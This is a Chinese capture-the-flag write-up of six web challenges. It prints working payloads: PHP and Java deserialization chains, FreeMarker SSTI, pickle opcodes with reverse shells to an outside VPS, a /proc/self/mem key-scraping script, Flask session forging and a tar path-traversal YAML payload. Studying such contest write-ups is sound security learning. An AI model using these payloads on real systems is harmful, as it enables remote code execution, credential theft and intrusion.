打了羊城杯,自我感觉难的挺合理:(
不过我觉得了解到题目出/考的是什么才是重要的:(
 
 D0n’t pl4y g4m3!!!  
一道考察php反序列化的题目,需要我们访问p0p.php,但是我们一旦访问/p0p.php就会把页面跳转至一个吃豆人游戏中
但是题目就是叫我们不要玩游戏的意思嘛
我开始还以为是什么js题,但是查遍了js,没有什么异常,才回去尝试抓包的
抓包以后发现啥也没有,这下这下了
但是它提示有个hint.zip
下载下来解压后的内容:
1 Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 
 
…
那我只能说hint了个寂寞
没辙啊,p0p.php也不给源码
不过越是不给源码的说明越重要是吧,我们还是得像办法读出p0p.php的内容
注意到服务器的php版本是7.4.21
此时群里的师傅们也都说了7.4.21有这个漏洞:
1 服务器 开发语言 PHP<=7.4.21 Development Server源码泄露漏洞 
 
只需要先关闭自动更新Content-Length,然后按如下图所示:
 
 
即可读到源码:
 
拉取到的p0p.php内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php header ("HTTP/1.1 302 found" );header ("Location:https://passer-by.com/pacman/" );class  Pro  {    private  $exp ;     private  $rce2 ;     public  function  __get ($name  )      {        return  $this ->$rce2 =$this ->exp[$rce2 ];     }     public   function  __toString ( )      {            call_user_func ('system' , "cat /flag" );      } } class  Yang  {    public  function  __call ($name , $ary  )      {        if  ($this ->key === true  || $this ->finish1->name) {             if  ($this ->finish->finish) {                 call_user_func ($this ->now[$name ], $ary [0 ]);             }         }     }     public  function  ycb ( )      {        $this ->now = 0 ;         return  $this ->finish->finish;     }     public  function  __wakeup ( )      {        $this ->key = True;     } } class  Cheng  {    private  $finish ;     public  $name ;     public  function  __get ($value  )      {        return  $this ->$value  = $this ->name[$value ];     } } class  Bei  {    public  function  __destruct ( )      {        if  ($this ->CTF->ycb ()) {             $this ->fine->YCB1 ($this ->rce, $this ->rce1);         }     }     public  function  __wakeup ( )      {        $this ->key = false ;     } } function  prohib ($a  ) {    $filter  = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ;     return  preg_replace ($filter ,'' ,$a ); } $a  = $_POST ["CTF" ];if  (isset ($a )){  unserialize (prohib ($a )); } ?> 
 
可以看到是一个php反序列化,而且还有waf
这个waf只会将关键字替换为空,所以我们可以进行双写绕过:
syssystemtem只会将中间的system去掉,然后剩下的sys 和 tem 能够组成system
那我们来简单看下这个链子怎么触发吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 我们知道call_user_func和eval差不多,都是危险的命令执行函数。只要我们能够触发call_user_func 就能够进行命令执行 这里有两个call_user_func 一个是写死的,另外一个不是,可以我们自定义参数的 一般来说自定义参数的能够利用的点更多,所以我们关注Yang类内的call_user_func() 故链子的终点是Yang::__call() call魔术方法要触发的条件是访问不可访问的方法触发 注意到Bei内的destruct魔术方法会调用 fine->YCB1() 如果将fine设置为new Yang()的话就能够触发 Yang::YCB1() 但是Yang类没有YCB1方法,所以会触发call方法 要出发desctruct需要我们CTF-> ycb()返回为真 此时发现只有Yang类有ycb函数 需要将CTF设置为new Yang() 此时ycb就会返回 finish->finish 接下来调用Cheng类,使其返回的finish为真即可 
 
总结一下其实链子就是
1 Yang::__call() <- Bei::__destruct() 
 
这里先将exp给大家,然后说一下我先前不懂的点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class  Pro  {    private  $exp ;     private  $rce2 ;     public  function  __get ($name  )      {        return  $this ->$rce2 =$this ->exp[$rce2 ];     }     public   function  __toString ( )      {            call_user_func ('system' , "cat /flag" );      } } class  Yang  {    public  function  __call ($name , $ary  )      {        if  ($this ->key === true  || $this ->finish1->name) {             if  ($this ->finish->finish) {                 call_user_func ($this ->now[$name ], $ary [0 ]);             }         }     }     public  function  ycb ( )      {        $this ->now = 0 ;         return  $this ->finish->finish;     }     public  function  __wakeup ( )      {        $this ->key = True;     } } class  Cheng  {    private  $finish ;     public  $name ;     public  function  __get ($value  )      {        return  $this ->$value  = $this ->name[$value ];     } } class  Bei  {    public  function  __destruct ( )      {        if  ($this ->CTF->ycb ()) {             $this ->fine->YCB1 ($this ->rce, $this ->rce1);         }     }     public  function  __wakeup ( )      {        $this ->key = false ;     } } function  prohib ($a  ) {    $filter  = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ;     return  preg_replace ($filter ,'' ,$a ); } $a  = new  Yang (); $b  = new  Cheng ();$c  = new  Bei ();$d  = new  Yang ();$c ->CTF = $a ;$a  -> finish = $b ;$b  -> name = array ("finish"  => "a" );$c ->fine = $d ;$d ->finish = $b ;$d  -> finish1 = $b ;$d ->now = array ("YCB1"  => "system" );$c ->rce = "ls" ;echo  urlencode (serialize ($c ));?> 
 
为什么name要设置成 name[finish] = "a"的形式
还有是为什么now[YCB1] = "system"的形式
先说说后面那个
如果调用__call()魔术方法的话,会传递两个参数
第一个参数就是我们调用的方法,这里是调用YCB1方法,所以传递了第一个参数叫YCB1
第二个参数就是我们调用到的方法传递的参数,比如这里的YCB1方法有两个参数:
rce和rce1,那么这两个参数会一并传递过去,并作为数组存储
而这里call_user_func调用了call的两个参数:
now[$name] 和ary[0]
call传入的两个参数就叫name 和 ary
答案很明显了吧,name其实就是我们的YCB1方法,而ary数组内有2个元素,一个是rce,另一个是rce1,这里的ary[0]相当于rce
其实就是now[YCB1](rce)
我们将now设置为数组,且键名就叫YCB1,键值为system,其实就是system(rce)
再将rce设置为ls
就相当于执行system('ls');
那另外一个的话我想大概也是如此,传入了一个finish参数,然后value其实就是finish
返回的是什么意思呢?是这样的:
1 2 3 4 5 $finish = $name[finish] 而 $name[finish]我们设置为了a 我们将其设置为了一个字符串,然后返回了$finish的值 此时$finish不为空,所以为true 
 
那大概便是如此
将序列化结果进行双写即可(也就是把system改为syssystemtem)
但是ls /之后找不到flag。。。
cat /flag会显示flag不在这,笑死,找了个寂寞
这里通过find / 来读取所有文件,最终发现flag在/tmp/catcatflag.txt内:
 
最终payload:
1 CTF=O%3A3%3A%22Bei%22%3A3%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3Br%3A3%3Bs%3A7%3A%22finish1%22%3Br%3A3%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A6%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A10%3A%22cat+%2Ftmp%2F%2A%22%3B%7D 
 
 ez_java  
不是很懂
java审计题,题目提供了附件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package  com.ycbjava.Contorller;import  com.ycbjava.Utils.NewObjectInputStream;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.IOException;import  java.util.Base64;import  org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;import  org.springframework.p008ui.Model;import  org.springframework.stereotype.Controller;import  org.springframework.web.bind.annotation.RequestMapping;import  org.springframework.web.bind.annotation.RequestParam;import  org.springframework.web.bind.annotation.ResponseBody;@Controller public  class  IndexController  {@RequestMapping({"/"}) @ResponseBody public  String index ()  {return  "Welcome to YCB" ;} @RequestMapping({"/templating"}) public  String templating (@RequestParam  String name, Model model)  {model.addAttribute("name" , name); return  BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;} @RequestMapping({"/getflag"}) @ResponseBody public  String getflag (@RequestParam  String data)  throws  IOException, Clabyte [] decode = Base64.getDecoder().decode(data);ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStr byteArrayOutputStream.write(decode); new  NewObjectInputStream (new  ByteArrayInputStream (byteArrayOutputStrreturn  "Success" ;} 
 
简单地说就是/会显示Welcome to YCB
/templating会对模板进行渲染(这里的模板是freemarker)
/getflag会将传入的data参数进行base64解码,然后进行反序列化
其实这里还是不是很懂要怎么利用,毕竟自己的java还是太菜了
这里按照thai师傅的方法应该是调用:
BadAttributeValueExpException -> POJONODE#toString -> HtmlInvocationHandler -> htmlmap
利用poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import  com.ycbjava.Utils.HtmlInvocationHandler;import  com.ycbjava.Utils.HtmlMap;import  java.io.*;import  java.lang.reflect.*;import  java.util.Base64;import  java.util.Map;public  class  SerializeTest  {    public   static   void   serialize (Object obj)  throws  IOException {         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("ser.bin" ));         oos.writeObject(obj);     }     public   static   Object  unserialize (String Filename)  throws  IOException, ClassNotFoundException {         ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream (Filename));         Object  obj  =  ois.readObject();         return  obj;     }     public   static   void   base64encode_exp (Object obj)  throws  IOException, ClassNotFoundException {         ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();         ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);         oos.writeObject(obj);         oos.close();         System.out.println(new  String (Base64.getEncoder().encode(baos.toByteArray())));     }     public  static  void  setValue (Object obj, String name, Object value)  throws  Exception{         Field  field  =  obj.getClass().getDeclaredField(name);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main (String[] args)  throws  Exception {         HtmlMap  htmlMap  =  new  HtmlMap ();         htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n"  +                 "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n"  +                 "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"  +                 "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}" ;         htmlMap.filename="index.ftl" ;         HtmlInvocationHandler  hih  =  new  HtmlInvocationHandler ();         hih.obj = htmlMap;         Map  proxymap  =  (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new  Class []{Map.class},hih);         Class  c  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor  annotationInvocationHandlerConstruct  =  c.getDeclaredConstructors()[0 ];         annotationInvocationHandlerConstruct.setAccessible(true );         Object  o  =  annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap);         serialize(o);         base64encode_exp(o);         unserialize("ser.bin" );     } } 
 
payload:
1 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAnY29tLnljYmphdmEuVXRpbHMuSHRtbEludm9jYXRpb25IYW5kbGVyQCXpLL1HVZUCAAFMAANvYmpxAH4AAXhwc3IAGWNvbS55Y2JqYXZhLlV0aWxzLkh0bWxNYXAVSPlJWeMkfAIAAkwAB2NvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhmaWxlbmFtZXEAfgALeHB0ASk8I2Fzc2lnbiBhYz1zcHJpbmdNYWNyb1JlcXVlc3RDb250ZXh0LndlYkFwcGxpY2F0aW9uQ29udGV4dD4KICA8I2Fzc2lnbiBmYz1hYy5nZXRCZWFuKCdmcmVlTWFya2VyQ29uZmlndXJhdGlvbicpPgogICAgPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT4KICAgICAgPCNhc3NpZ24gVk9JRD1mYy5zZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcihkY3IpPiR7ImZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlIj9uZXcoKShuYW1lKX10AAlpbmRleC5mdGx2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cA== 
 
将payload发到getflag路由即可覆写index.ftl
将ftl覆写成可以利用freemarker ssti的形式,再访问template传入name:
1 /templating?name=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJi9kZXYvdGNwLzQ3LjExMy4yMjYuMTUvMjMzMyAwPiYx%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D 
 
执行反弹shell
关于反弹shell的操作这里也一直在踩坑,导致卡了很久,包括Serpent那题也是很晚才能够解出来
这里反弹shell必须要有一台公网vps,同时要在安全组内对需要监听的端口进行开放,不然请求就会被防火墙一直拦截
噗,下次就不要这么犯蠢了:(
vps内:
 
然后发送请求:
 
即可获得flag
 ez_web  
不会。。
一点头绪都没有
官方hint说访问cmd.php
访问后命令执行仅能执行whoami
还有另外一个是列目录,但是只能列ls、ls /、ls /etc、ls /etc/passwd
文件上传没看,大概也对文件进行了限制
总之就是很迷
不过结束后听师傅们说应该是通过文件上传so文件再用whoami触发…?
算了 看不懂
 Serpent  
flask题
通过访问www.zip就可以获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  flask import  Flask, sessionfrom  secret import  secret@app.route('/verification'  ) def  verification ():	try : 		attribute = session.get('Attribute' ) 		if  not  isinstance (attribute, dict ): 			raise  Exception 	except  Exception: 		return  'Hacker!!!'  	if  attribute.get('name' ) == 'admin' : 		if  attribute.get('admin' ) == 1 : 			return  secret 		else : 			return  "Don't play tricks on me"  	else : 		return  "You are a perfect stranger to me"  if  __name__ == '__main__' :	app.run('0.0.0.0' , port=80 ) 
 
访问/verification获取到session 如果session为admin,返回secret
1 eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU 
 
ey开头的session是flask的session
尝试使用flask session decoder:
1 2 python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU' b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTuhPFWsOMoc"}}' 
 
他直接把secret_key给解出来了:
1 2 python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU' -s 'GWHTuhPFWsOMoc' {'Attribute': {'admin': 0, 'name': 'GWHT', 'secret_key': 'GWHTuhPFWsOMoc'}} 
 
加密:
1 2 python.exe .\flask_session_cookie_manager3.py encode -s 'GWHTuhPFWsOMoc' -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTuhPFWsOMoc'}}" eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUdWhQRldzT01vYyJ9fQ.ZPLT5A.Fp0XBHl0kAZjrReVYq-LcyOiOsE 
 
返回:
1 Hello admin, welcome to /ppppppppppick1e 
 
 
访问src0de即可获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route('/src0de'  ) def  src0de ():    f = open (__file__, 'r' )     rsp = f.read()     f.close()     return  rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e'  ) def  ppppppppppick1e ():    try :         username = "admin"          rsp = make_response("Hello, %s "  % username)         rsp.headers['hint' ] = "Source in /src0de"          pick1e = request.cookies.get('pick1e' )         if  pick1e is  not  None :             pick1e = base64.b64decode(pick1e)         else :             return  rsp         if  check(pick1e):             pick1e = pickle.loads(pick1e)             return  "Go for it!!!"          else :             return  "No Way!!!"      except  Exception as  e:         error_message = str (e)         return  error_message     return  rsp class  GWHT ():    def  __init__ (self ):         pass  if  __name__ == '__main__' :    app.run('0.0.0.0' , port=80 ) 
 
这里就是pickle反序列化的点了:
pickle是python中的一个能够序列化和反序列化对象的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 import  pickleclass  Person ():    def  __init__ (self ):         self.age = 18          self.name = "Pickle"           p = Person() opcode = pickle.dumps(p) print (opcode)P = pickle.loads(opcode) print ('The age is:' +str (P.age), 'The name is' +P.name)
 
上面是一个简单的pickle例子,dumps相当于序列化一个对象
而loads相当于反序列化一个对象
而pickle反序列化中还有一些opcode,例如一个比较经典的opcode:
1 2 3 4 5 6 7 8 9 10 11 import  pickleopcode = b'''cos  system (S'whoami' tRcos system (S'whoami' tR.''' import  base64r = base64.b64encode(opcode) print (r)
 
但是在这里不行,它返回了No Way!!!
因为这里还有个check函数没有给出,相当于有waf的存在
慢慢测试发现waf拦截了R
所以我们需要一个不含R的opcode协助我们进行pickle反序列化:
1 2 3 4 5 6 import  base64opcode =  b'''(S'whoami  ios system .''' print (base64.b64encode(opcode))
 
这个时候返回了go for it
但是并没有whoami的回显,说明我们要进行无回显的pickle反序列化
这里还是通过反弹shell来执行:
1 2 3 4 5 6 7 8 9 opcode=b'''(S'bash -c "bash -i >& /dev/tcp/47.113.226.15/2333 0>&1"'  ios system .''' import  base64r = base64.b64encode(opcode) print (r)
 
打开2333的监听,将其使用cookie传递后成功反弹:
 
但是我们在cat /flag的时候显示了权限不足
 
由于服务器使用python
这里我们使用python提权:
1 2 3 4 5 python3 -c "import pty;pty.spawn('/bin/sh')" python3 import os os.setuid(0) os.system("cat /flag") 
 
 
 ArkNights  
这题被狠狠的非预期了。。
这题提供了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import  uuidfrom  flask import  *from  werkzeug.utils import  *app = Flask(__name__) app.config['SECRET_KEY' ] =str (uuid.uuid4()).replace("-" ,"*" )+"Boogipopisweak"  @app.route('/'  ) def  index ():    name=request.args.get("name" ,"name" )     m1sery=[request.args.get("m1sery" ,"Doctor.Boogipop" )]     if (session.get("name" )=="Dr.Boog1pop" ):         blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/" , name, re.IGNORECASE)         if  blacklist:             return  "bad hacker no way"          exec (f'for [{name} ] in [{m1sery} ]:print("strange?")' )     else :         session['name' ] = "Doctor"      return  render_template("index.html" ,name=session.get("name" )) @app.route('/read'  ) def  read ():        file = request.args.get('file' )         fileblacklist=re.findall("/flag|fl|ag/" ,file, re.IGNORECASE)         if  fileblacklist:             return  "bad hacker!"          start=request.args.get("start" ,"0" )         end=request.args.get("end" ,"0" )         if  start=="0"  and  end=="0" :             return  open (file,"rb" ).read()         else :             start,end=int (start),int (end)             f=open (file,"rb" )             f.seek(start)             data=f.read(end)             return  data @app.route("/<path:path>"  ) def  render_page (path ):    print (os.path.pardir)     print (path)     if  not  os.path.exists("templates/"  + path):         return  "not found" , 404      return  render_template(path) if  __name__=='__main__' :    app.run(         debug=False ,         host="0.0.0.0"      )     print (app.config['SECRET_KEY' ]) 
 
可以看到本意应该是什么呢?
先看路由,read路由存在有任意文件读取,但是不能直接读取flag
/里面能够通过exec进行命令执行,但是我们需要对session进行修改
这里就有点像蓝帽杯2022 file_session的味道了,毕竟在read路由内写的源码都十分地相似:
secret_key肯定是存在内存内的,由于我们没有其他方法直接读取到secret_key
我们就需要间接从内存中获取,其secret_key是随机uuid,并将-替换为*,然后后面拼接上Boogipopisweak:
利用我们蓝帽杯里的方法,读取/proc/self/maps和proc/self/mem获取secretkey:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import  requestsimport  reimport  sysurl_1 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/maps"  res = requests.get(url_1) maplist = res.text.split("\n" ) for  i in  maplist:    m = re.match (r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw" , i)     if  m != None :         start = int (m.group(1 ), 16 )         end = int (m.group(2 ), 16 )         print ("addr :" , start, "-" , end)         url_2 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/mem&start={}&end={}" .format (             start, end - start)         res_1 = requests.get(url_2)                  if  "Boogipopisweak"  in  res_1.text:             try :                                  rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}" , res_1.content)                 if  rt:                     print (rt)             except :                 pass  
 
爆出key:
1 0a3cc76d*f33e*4158*96bc*e7e9ea665861 
 
还要记得加上Boogipopisweak
key:
1 0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak 
 
验证:
1 2 3 4 5 eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q decode: python.exe .\flask_session_cookie_manager3.py decode -c 'eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q' -s '0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak' {'name': 'Doctor'} 
 
伪造的时候还需要加上时间戳…
为什么呢?
这就涉及到session的一些性质了,对于flask session加密的流程如下:
1 2 3 4 json.dumps 将对象转换为json字符串。作为数据 若数据压缩后长度更短。则用zlib进行压缩 将数据Base64编码 通过hmac算法计算数据签名。将签名附在数据后。用点分割 
 
1 2 3 4 5 6 7 8 9 10 他们的格式是: ey开头的.base64encode的.数据签名 对于这个session: eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q 此处中间的ZPMttQ就是base64加密的内容,我们对其解密得到: >>> import base64 >>> t=base64.b64decode('ZPMttQ==') >>> int.from_bytes(t, "big") 1693658549 
 
可以得到其时间戳
说明这个session是有时效性的
同样,我们使用蓝帽杯的脚本来对时间戳进行加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  hmacimport  base64def  sign_flask (data, key, times ):    digest_method = 'sha1'      def  base64_decode (string ):         string = string.encode('utf8' )         string += b"="  * (-len (string) % 4 )         try :             return  base64.urlsafe_b64decode(string)         except  (TypeError, ValueError):             raise  print ("Invalid base64-encoded data" )     def  base64_encode (s ):         return  base64.b64encode(s).replace(b'=' , b'' )     salt = b'cookie-session'      mac = hmac.new(key.encode("utf8" ), digestmod=digest_method)     mac.update(salt)     key = mac.digest()     msg = base64_encode(data.encode("utf8" )) + b'.'  + base64_encode(times.to_bytes(8 , 'big' ))     data = hmac.new(key, msg=msg, digestmod=digest_method)     hs = data.digest()                    return  msg + b'.'  + base64_encode(hs) base64_data = base64.b64encode(b'test' ) print (sign_flask('{"data":{" b":"'  + base64_data.decode() + '"}}' , 'b3876b37-f48e-49af-ab35-b12fe458a64b' , 1893532360 ))
 
如果在正确的时间访问接口,会返回500,说明我们成功进入到exec
 
但是后面怎么绕exec就有些麻烦了
刚开始是想通过类似sql注入的方式闭合[]然后执行命令,但是发现过滤了[]
但是它还有一个非预期:
1 直接用read路由读取proc/1/environ 
 
 
 ezyaml  
涉及到yaml反序列化、tar包的extractall漏洞
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def  waf (s ):    flag = True      blacklist = ['bytes' ,'eval' ,'map' ,'frozenset' ,'popen' ,'tuple' ,'exec' ,'\\' ,'object' ,'listitems' ,'subprocess' ,'object' ,'apply' ]     for  no in  blacklist:         if  no.lower() in  str (s).lower():             flag= False              print (no)             break      return  flag def  extractFile (filepath, type  ):    extractdir = filepath.split('.' )[0 ]     if  not  os.path.exists(extractdir):         os.makedirs(extractdir)     if  type  == 'tar' :         tf = tarfile.TarFile(filepath)         tf.extractall(extractdir)         return  tf.getnames() 
 
路由:
1 2 3 4 5 6 @app.route('/' , methods=['GET' ] ) def  main ():        fn = 'uploads/'  + md5().hexdigest()         if  not  os.path.exists(fn):             os.makedirs(fn)         return  render_template('index.html' ) 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/upload' , methods=['GET' , 'POST' ] ) def  upload ():    if  request.method == 'GET' :         return  redirect('/' )     if  request.method == 'POST' :         upFile = request.files['file' ]         print (upFile)         if  re.search(r"\.\.|/" , upFile.filename, re.M|re.I) != None :             return  "<script>alert('Hacker!');window.location.href='/upload'</script>"          savePath = f"uploads/{upFile.filename} "          print (savePath)         upFile.save(savePath)         if  tarfile.is_tarfile(savePath):             zipDatas = extractFile(savePath, 'tar' )             return  render_template('result.html' , path=savePath, files=zipDatas)         else :             return  f"<script>alert('{upFile.filename}  upload successfully');history.back(-1);</script>"           
 
1 2 3 4 5 6 7 8 9 @app.route('/src' , methods=['GET' ] ) def  src ():    if  request.args:         username = request.args.get('username' )         with  open (f'config/{username} .yaml' , 'rb' ) as  f:             Config = yaml.load(f.read())             return  render_template('admin.html' , username="admin" , message="success" )     else :         return  render_template('index.html' ) 
 
这里就是通过/src路由并且提供name参数能够对yaml进行反序列化,然后对admin.html进行渲染并且返回
但是无论我们怎么上传tar包,我们都不能够访问到我们传入的yaml文件(返回500)
 
 
百思不得其解啊,看不懂要怎么触发
这时候还是得靠万能的博客,通过NSSCTF Round#6的一篇wp内,发现了对于tar包的extractall的漏洞:
其实这里是它引用的一篇博客:
https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/ 
通过这里面的poc直接运行即可
另外,关于yaml反序列化的一些payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 import  yaml  payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'      yaml.load(payload) 
 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  tarfileimport  iotar = tarfile.TarFile('malicious.tar' , 'w' ) info = tarfile.TarInfo("../../config/Err23.yaml" ) deserialization_payload = '!!python/object/apply:os.system ["cat /fllaagg_here>templates/admin.html"]'   info.size=len (deserialization_payload) info.mode=0o444   tar.addfile(info, io.BytesIO(deserialization_payload.encode())) tar.close() 
 
 
 
 
总结一下,感觉自己还是特别特别的菜。。
啥也不会的样子,pop链也得理解好久:(
不过我应该是有点进步了吧,起码是会那么一点点东西的:(
另:网络的力量真的非常的厉害